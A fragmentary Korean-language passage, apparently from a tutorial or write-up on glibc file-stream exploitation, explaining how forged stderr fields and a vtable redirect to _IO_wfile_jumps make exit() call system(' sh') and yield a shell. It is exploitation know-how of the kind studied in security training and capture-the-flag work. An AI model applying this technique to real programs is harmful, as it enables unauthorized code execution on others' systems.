(앞에 공백 2개 포함된 문자열) 설정- 조건 만족 +
system(" sh")
호출됨
- kylebot 방식:
4. 기타 stderr
필드 설정
_IO_write_base
→0
_IO_write_ptr
→1
- 이로 인해
exit()
호출 시_IO_flush_all_lockp()
가stderr
에 대해_IO_OVERFLOW(stderr, EOF)
호출
- 이로 인해
stderr->vtable
→_IO_wfile_jumps
로 설정- 이로 인해 원래
_IO_new_file_overflow
대신_IO_wfile_overflow
호출됨
- 이로 인해 원래
이처럼 stderr
의 FILE 구조체를 성공적으로 조작하고 나면,
exit()
호출 시 자동으로 셸을 획득할 수 있게 됩니다!